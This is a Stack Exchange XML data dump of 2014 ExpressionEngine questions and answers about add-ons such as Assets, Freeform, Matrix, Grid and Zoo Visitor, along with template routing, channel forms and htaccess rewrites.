  <row Id="24832" PostTypeId="1" CreationDate="2014-08-01T15:24:07.767" Score="0" ViewCount="81" Body="&lt;p&gt;My admins can upload images to Assets field.  They even see the thumbnail before saving. After saving though, the thumbnail does not display.  This is a site-wide issue.  I have updated the index. It also seems to be removing the image completely if it is saved again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assets 2.1.2&lt;/p&gt;&#xA;" OwnerUserId="1530" LastEditorUserId="1530" LastEditDate="2014-08-01T16:04:00.427" LastActivityDate="2016-06-05T04:48:37.027" Title="Assets (P&amp;T) No thumbnail for Admin group" Tags="|assets|pixelandtonic|thumbnails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24833" PostTypeId="1" CreationDate="2014-08-01T15:32:06.113" Score="0" ViewCount="144" Body="&lt;p&gt;How do I inject the Return Path into my Freeform Composer template, so it directs people to the specified page, after submitting the form?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:composer form_id=&quot;{form-freeform:form_id}&quot; composer_template_id=&quot;{form-freeform:composer_template_id}&quot; return=&quot;?????????&quot; form:class=&quot;pure-form pure-form-aligned&quot;}&#xA;    {composer:page}&#xA;        {composer:rows}&#xA;            &amp;lt;div class=&quot;pure-control-group&quot;&amp;gt;&#xA;                {composer:columns}&#xA;                {if composer:field_total == 0}{/if}&#xA;                {composer:fields}&#xA;                    {if composer:field_label}       {!-- Output field labels --}&#xA;                        {if composer:field_type == 'nonfield_captcha'}&#xA;                            {if captcha}&amp;lt;p&amp;gt;{composer:field_label}&amp;lt;/p&amp;gt;{/if}&#xA;                        {if:else}&#xA;                            &amp;lt;label {if composer:field_name != ''}for=&quot;{composer:field_name}&quot;{/if}&amp;gt;{freeform:description:{composer:field_name}}&amp;lt;/label&amp;gt;&#xA;                        {/if}&#xA;                    {/if}&#xA;                    {if composer:field_output}      {!-- Output field inputs --}&#xA;                        {if composer:field_type == 'nonfield_title'}&#xA;                            &amp;lt;h4&amp;gt;&#xA;                                {if composer:field_name AND composer:field_required}{freeform:field:{composer:field_name} attr:required=&quot;required&quot; attr:placeholder=&quot;Required&quot;}&#xA;                                {if:else}{composer:field_output}&#xA;                                {/if}&#xA;                            &amp;lt;/h4&amp;gt;&#xA;                        {if:elseif composer:field_type == 'nonfield_captcha'}&#xA;                            {if captcha}{captcha}&amp;lt;br /&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;&quot; size=&quot;20&quot; maxlength=&quot;20&quot; style=&quot;width:140px&quot;&amp;gt;{/if}&#xA;                        {if:elseif composer:field_type == 'nonfield_submit'}&#xA;                            &amp;lt;div class=&quot;pure-controls&quot;&amp;gt;&amp;lt;button type=&quot;submit&quot; class=&quot;pure-button pure-button-primary&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        {if:elseif composer:field_type == 'checkbox_group'}&#xA;                            &amp;lt;div style=&quot;display:inline-block&quot;&amp;gt;{composer:field_output}&amp;lt;/div&amp;gt;&#xA;                        {if:elseif composer:field_type == 'radio'}&#xA;                            &amp;lt;div style=&quot;display:inline-block;vertical-align:top&quot;&amp;gt;{composer:field_output}&amp;lt;/div&amp;gt;&#xA;                        {if:else}&#xA;                            {if composer:field_name AND composer:field_required}&#xA;                                {freeform:field:{composer:field_name} attr:required=&quot;required&quot; attr:placeholder=&quot;Required&quot;}&#xA;                            {if:else}&#xA;                                {composer:field_output}&#xA;                            {/if}&#xA;                        {/if}&#xA;                    {/if}&#xA;                {/composer:fields}&#xA;                {/composer:columns}&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/composer:rows}&#xA;    {/composer:page}&#xA;{/exp:freeform:composer}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lkHIb.jpg&quot; alt=&quot;Return Path definition in EE Edit Entry&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3016" LastEditorUserId="3016" LastEditDate="2015-10-27T14:58:15.213" LastActivityDate="2016-06-13T13:02:55.070" Title="Freeform Composer return path" Tags="|solspace-freeform|composer|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24834" PostTypeId="2" ParentId="24832" CreationDate="2014-08-01T16:43:53.637" Score="0" Body="&lt;p&gt;Make sure that the system/expressionengine/cache folder is writable. Also, consider updating Assets as you have a much older version.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2014-08-01T16:43:53.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24835" PostTypeId="2" ParentId="24821" CreationDate="2014-08-01T17:32:57.617" Score="0" Body="&lt;p&gt;We'd need a bit more detail about what you're trying to do to give a more specific answer, but I don't think you need to do anything special to do this. I've done it before. Having both parent and child url_titles in the URL and using each to load up the correct entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really that doesn't have anything to do with Playa at all, except for when you want to ensure that the parent-child relationship in the URL really exists. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done this in the past by loading up the parent entry in a channel:entries tag and comparing the playa field's selected entry to the child entry in the URL. If they don't match, then throw a 404.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-08-01T17:32:57.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24836" PostTypeId="2" ParentId="24833" CreationDate="2014-08-01T17:44:22.777" Score="0" Body="&lt;p&gt;I believe that you can just leave off the return parameter and it will take the value you put into the channel field&lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-01T17:44:22.777" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24837" PostTypeId="2" ParentId="24819" CreationDate="2014-08-01T19:44:03.500" Score="2" Body="&lt;p&gt;Same process here, except that I update all add-ons the site uses in the process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/updater&quot; rel=&quot;nofollow&quot;&gt;DevDemon updater&lt;/a&gt; can speed up the process a little bit.&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2014-08-01T19:44:03.500" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24838" PostTypeId="2" ParentId="24819" CreationDate="2014-08-01T20:21:00.257" Score="6" Body="&lt;p&gt;I use Git and Beanstalk to do a 2-phase upgrade process. I upgrade and troubleshoot locally then quickly deploy the upgrades to production when I'm done. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a blog post about it: &lt;a href=&quot;https://www.kristengrote.com/blog/articles/the-20-minute-expressionengine-upgrade&quot;&gt;https://www.kristengrote.com/blog/articles/the-20-minute-expressionengine-upgrade&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2014-08-01T20:21:00.257" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24839" PostTypeId="1" CreationDate="2014-08-01T20:56:09.303" Score="1" ViewCount="107" Body="&lt;p&gt;I've never had any need for submissions from non-members, but now I find myself in a situation where it would be easier than having the content emailed to me so that I can add it myself. Obviously, there's a risk of spam, but I'd like to give it a go at least.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I must admit I find the channel form helpfiles and examples a bit arcane. I am also not entirely clear on what I need to do to enable guests to posts to a particular channel. I have setup the channel so that new posts are set Pending, but I didn't see anything else of relevance in the channel settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking to create a form with title, url (the form is for link submissions, so that's for the url for the submitted site), description, owner, email, language and category (I have those pre-set and they should only be able to pick one). &lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2014-08-01T20:56:09.303" Title="How to setup a channel form for guests?" Tags="|safecracker|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24840" PostTypeId="2" ParentId="24819" CreationDate="2014-08-01T21:32:06.063" Score="0" Body="&lt;p&gt;If the site is not in version control (i.e. prior to me learning it) then I upgrade by using DevDemon updater and taking a backup just in case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the site is in version control. I pretty much do what Kristen mentions in her blog post except that I take a db dump locally before deploying and then import that db to the live site during deployment.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-08-01T21:32:06.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24841" PostTypeId="2" ParentId="24833" CreationDate="2014-08-01T22:13:31.977" Score="0" Body="&lt;p&gt;When you are using the fieldtype you don't need to use the entire {exp:freeform:composer} tag set. Just the field name as normal: {form-freeform} and everything else is automatic.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-08-01T22:13:31.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24842" PostTypeId="1" AcceptedAnswerId="24844" CreationDate="2014-08-02T00:48:26.947" Score="0" ViewCount="60" Body="&lt;p&gt;I am creating a staff profile page, where I want to display social media icons for any social media sites each staff member may have (see photo).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to list ALL social media options, but I'd rather have a channel field type &quot;drop-down&quot; with options, and then a corresponding URL field (which can just be a text field).  If the user has more than one social media account, there should be a &quot;add another&quot; button on the Publish page, which will add another drop-down and URL field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drop-down field will correspond to a Class name (i.e. class=&quot;icon-facebook&quot;), which will then place an icon on the published page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, or am I making this too complicated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XNSPj.png&quot; alt=&quot;Final Product&quot; title=&quot;How it should look&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TVsxt.png&quot; alt=&quot;My Code&quot; title=&quot;My code&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another, better solution in order to make this work?  Or would it be easier for me to hard-code a &quot;Facebook&quot; field, and a &quot;Facebook_url&quot; field, &quot;twitter,&quot; &quot;twitter_url,&quot; etc.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THANK YOU!!!&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2014-08-03T10:28:41.833" Title="Is there a way to relate channel fields to one another?" Tags="|channel-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24843" PostTypeId="1" CreationDate="2014-08-02T01:05:22.237" Score="1" ViewCount="246" Body="&lt;p&gt;EE 2.9.0&#xA;Matrix 2.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a template with a channel form in it, nothing else (I've stripped it down for testing).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form&#xA;    channel=&quot;test_channel_form&quot;&#xA;    return=&quot;test-return&quot;&#xA;    }    &#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is using a test channel field group with no custom fields.&#xA;It returns to the correct page on submission and an entry is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the channel to use another field group I run into problems.&#xA;The field group has 5 fields, 2 textarea fields and 3 Matrix fields. I only need the text area fields in this channel form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template code is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form&#xA;    channel=&quot;test_channel_form&quot;&#xA;    return=&quot;test-return&quot;&#xA;    }    &#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;    {field:news_summary}&#xA;    {field:news_body}&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An entry is created OK but it doesn't return to the specified page on submission it just stays on the same page and I get the following errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: array_keys() expects parameter 1 to be array, null given&#xA;Filename: matrix/ft.matrix.php&#xA;Line Number: 2259&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: matrix/ft.matrix.php&#xA;Line Number: 2259&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: array_keys() expects parameter 1 to be array, null given&#xA;Filename: matrix/ft.matrix.php&#xA;Line Number: 2259&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: matrix/ft.matrix.php&#xA;Line Number: 2259&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: array_keys() expects parameter 1 to be array, null given&#xA;Filename: matrix/ft.matrix.php&#xA;Line Number: 2259&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;Filename: matrix/ft.matrix.php&#xA;Line Number: 2259&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Users/timprint/Dropbox/Sites/imagineering/imageesys47836/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: libraries/Functions.php&#xA;Line Number: 446&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2014-09-09T02:29:44.377" Title="PHP errors relating to matrix on channel form submission" Tags="|matrix|safecracker|pixelandtonic|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24844" PostTypeId="2" ParentId="24842" CreationDate="2014-08-02T01:13:52.257" Score="2" Body="&lt;p&gt;Have you looked at the Grid fieldtype?&lt;br&gt;&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/channel/grid.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: if you need extra validation based on one of the columns (e.g. if an image is selected, validate that a caption is required), then you can insert some jQuery or javascript in a custom accesoire, or more simple, inside the field instructions. Be careful (and test) because the field-instructions do get formatted a bit (e.g. nbsp; inserted).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;$(document).ready( function(){&#xA;    console.log('hello console');&#xA;});&#xA;&amp;lt;/script&amp;gt;&#xA;Other normal instruction text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/js/custom_grid_validate.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;Other normal instructions&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-08-03T10:28:41.833" LastActivityDate="2014-08-03T10:28:41.833" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24845" PostTypeId="1" CreationDate="2014-08-02T09:13:50.317" Score="1" ViewCount="54" Body="&lt;p&gt;An older accesoire add-on i have have, uses&lt;br&gt;&#xA;&lt;code&gt;if($this-&amp;gt;EE-&amp;gt;input-&amp;gt;get('C') == 'content_publish'){ ... }&lt;/code&gt;&lt;br&gt;&#xA;to determine if we're on the publish page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since 2.8/2.9 the cp url structure changed&lt;br&gt;&#xA;&lt;code&gt;example.com/system/index.php?/cp/content_publish/entry_form&amp;amp;channel_id=3&amp;amp;S=x&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Could check the uri class segments&lt;/li&gt;&#xA;&lt;li&gt;Could check EE-&gt;router-&gt;class and -&gt;method&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What are current/good methods to determine control panel pages we're on?&lt;/p&gt;&#xA;" OwnerUserId="155" LastEditorUserId="155" LastEditDate="2014-08-02T09:54:26.023" LastActivityDate="2014-08-02T13:07:54.523" Title="Accesoire development, determine publish page" Tags="|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24846" PostTypeId="1" AcceptedAnswerId="24967" CreationDate="2014-08-02T12:51:55.467" Score="0" ViewCount="39" Body="&lt;p&gt;I'm using ee v2.8.1 and when I try and click the red link next to 'edit categories' in the entry screen the link disappears and nothing happens? I can edit the categories if I go through the drop down under admin and then channel administration.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts? Thanks&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2014-08-07T23:37:39.620" Title="Categories not editable from channel entry screen" Tags="|categories|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24847" PostTypeId="1" CreationDate="2014-07-31T08:41:46.877" Score="1" ViewCount="132" Body="&lt;p&gt;I am on EE 2.9 and I can’t switch the system on / off anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to Admin -&gt; General Configuration and set “Is the system on?” to “No”, nothing changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve already tried this in various browsers, cleared all browser and EE caches but to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve also followed the steps suggested by Anna in this thread: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/16815/system-offline-problems&quot;&gt;System Offline problems&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What else could I try?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="3444" OwnerDisplayName="Tintin81" LastEditorUserId="7705" LastEditDate="2018-08-07T17:53:15.113" LastActivityDate="2018-08-07T17:53:15.113" Title="Can't switch system on / off in Expression Engine 2.9" Tags="|system|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24848" PostTypeId="2" ParentId="24845" CreationDate="2014-08-02T13:07:54.523" Score="4" Body="&lt;p&gt;&lt;code&gt;ee()-&amp;gt;router-&amp;gt;fetch_class()&lt;/code&gt; and &lt;code&gt;ee()-&amp;gt;router-&amp;gt;fetch_method()&lt;/code&gt; should always reveal that information to you, regardless of the URL pattern or special routing.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-08-02T13:07:54.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24849" PostTypeId="2" ParentId="22371" CreationDate="2014-08-02T13:55:52.523" Score="0" Body="&lt;p&gt;You should be able to take out the dynamic=&quot;no&quot; parameter and it should fix the pagination problem. The dynamic parameter should only be included when there is the posibillity of a URL_title being in the URL. &lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-08-02T13:55:52.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24850" PostTypeId="2" ParentId="24847" CreationDate="2014-08-02T14:30:04.627" Score="0" Body="&lt;p&gt;I know it might be obvious. But it's not because you are logged in is it? If you make sure you log out after turning the system off, refresh your browser and then see if the site is visible.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2014-08-02T14:30:04.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24852" PostTypeId="1" AcceptedAnswerId="24868" CreationDate="2014-08-02T19:25:50.133" Score="1" ViewCount="66" Body="&lt;p&gt;I have a navigation/URL structure issue, and I haven't been able to find online exactly what I want to accomplish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an &quot;About&quot; template and a &quot;Staff&quot; template - so different URL's for each template.&#xA;I have two Channels, one for each template, but have only ONE category group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've set up the navigation so that I have a drop-down under my &quot;about&quot; navigation item, which lists all of the categories - About, Mission, Staff, Facts.&#xA;All of the categories, except for Staff, will pull up on the &quot;About&quot; template.  I want &quot;Staff,&quot; however, to direct to my staff template.  Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What variable do I use to direct that one category to another template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code in my nav:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:categories category_group=&quot;1&quot; style=&quot;linear&quot; show_empty=&quot;no&quot;}&#xA;                &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{path='??'}&quot;&amp;gt;{category_name}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;            {/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PhyRt.png&quot; alt=&quot;Navigation&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2015-03-02T18:06:31.977" Title="Navigation link structure: two templates, two channels, one category group?" Tags="|categories|category-group|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24853" PostTypeId="1" CreationDate="2014-08-03T00:01:51.113" Score="0" ViewCount="98" Body="&lt;p&gt;We migrated a site we've been working on to a new server with the same host, the server spec is technically greater but from a software perspective it's running the same flavour of Apache, PHP and MySQL... however since migration template routing has stopped working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The routes are still there in the ExpressionEngine Control Panel but they all appear to just resolve to the template you would expect if routing was not running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just putting this out there in case anyone else has run into it...? :/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're running 2.8.1 on Apache 2.4.10 with PHP 5.4.30.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2014-08-03T10:06:32.717" Title="Template routing stopped working after server migration" Tags="|templates|migration|routing|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24856" PostTypeId="1" CreationDate="2014-08-03T10:18:45.037" Score="0" ViewCount="19" Body="&lt;p&gt;When I create a new profile in Solspace Importer and I'm asked to upload a file, I get a white page when clicking the continue button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the case for XML, JSON, CSV files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have error logging set to 1, but I'm not getting any errors related to Importer.&#xA;I have the memory limit set to 128M but have tried more.&#xA;I can see that Importer is writing to the cache dir.&#xA;I'm running EE 2.8.1, Importer 2.2.5, PHP 5.5.10 on MAMP.&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-08-03T10:18:45.037" Title="White Page Solspace Importer" Tags="|solspace-importer|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24857" PostTypeId="1" CreationDate="2014-08-03T21:59:59.850" Score="0" ViewCount="194" Body="&lt;p&gt;I'm using EE 2.8.1 and Visitor 1.3.32. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following form on a /forgot-password template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:forgot_password error_handling=&quot;inline&quot; reset_url=&quot;forgot-password&quot; parse=&quot;inward&quot;}&#xA;    {if password_sent}&#xA;            &amp;lt;h3&amp;gt;A password reset mail has been sent to the provided email.&amp;lt;/h3&amp;gt;&#xA;    {if:else}&#xA;            &amp;lt;fieldset&amp;gt;&#xA;                    &amp;lt;p&amp;gt;&#xA;                            &amp;lt;label for=&quot;email&quot; class=&quot;form-label&quot;&amp;gt;Your email:&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; class=&quot;form-text&quot; value=&quot;&quot; /&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    {error:email}&#xA;            &amp;lt;/fieldset&amp;gt;&#xA;            &amp;lt;p&amp;gt;&#xA;                            &amp;lt;input type=&quot;submit&quot; value=&quot;Retrieve password&quot; class=&quot;button&quot; /&amp;gt;&#xA;            &amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/exp:zoo_visitor:forgot_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I submit the form, it returns to my home page and does not send an email. I have a sneaking suspicion that it has something to do with my htaccess file. However, I'm not adding any slashes, rather, removing them, etc:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine On&#xA;&#xA;# Force non www to www&#xA;RewriteCond %{HTTP_HOST} !^www\.&#xA;RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]&#xA;&#xA;#remove trailing slash from URLs&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{REQUEST_URI} ^(.+)/$&#xA;RewriteRule ^(.+)/$  /$1 [R=301,L] &#xA;&#xA;# Removes index.php from URLs&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts here?&lt;/p&gt;&#xA;" OwnerUserId="1128" LastActivityDate="2019-02-13T11:03:05.670" Title="Zoo Visitor Forgot password form not working" Tags="|zoo-visitor|forgot-password|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24858" PostTypeId="1" AcceptedAnswerId="24860" CreationDate="2014-08-04T05:45:53.417" Score="0" ViewCount="57" Body="&lt;p&gt;I know this question has been asked a lot but I still can't figure out how to solve this problem. I'm not sure what I'm doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, what I did was I separated the jQuery files and added them in a template group called &quot;styles&quot; like so:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cjnfQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the html file I tried to link them by using these code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;{path=&quot;styles/java&quot;}&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;{path=&quot;styles/cycle&quot;}&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;{path=&quot;styles/min&quot;}&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know it seems to be a dump question but I'm totally new to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3282" LastActivityDate="2014-08-04T07:25:40.850" Title="Linking to jQuery" Tags="|jquery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24859" PostTypeId="2" ParentId="24765" CreationDate="2014-08-04T07:17:53.953" Score="0" Body="&lt;p&gt;After a bit more trying different things, I found out that by just using the field id name and keeping the value empty, submitting the form empties the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;see in my case (the grid having database id 16):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type='hidden' name='field_id_16' value=''&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;empties the grid when submitted.&lt;/p&gt;&#xA;" OwnerUserId="3055" LastActivityDate="2014-08-04T07:17:53.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24860" PostTypeId="2" ParentId="24858" CreationDate="2014-08-04T07:25:40.850" Score="1" Body="&lt;p&gt;I never use CSS or Javascript files as EE templates. Better to leave them as static files on the server and link to them like you normally would. Something like this (assuming the files are in a folder named &quot;js&quot;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/js/java.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/js/cycle.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;/js/min.js&quot;&amp;gt;&amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-08-04T07:25:40.850" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
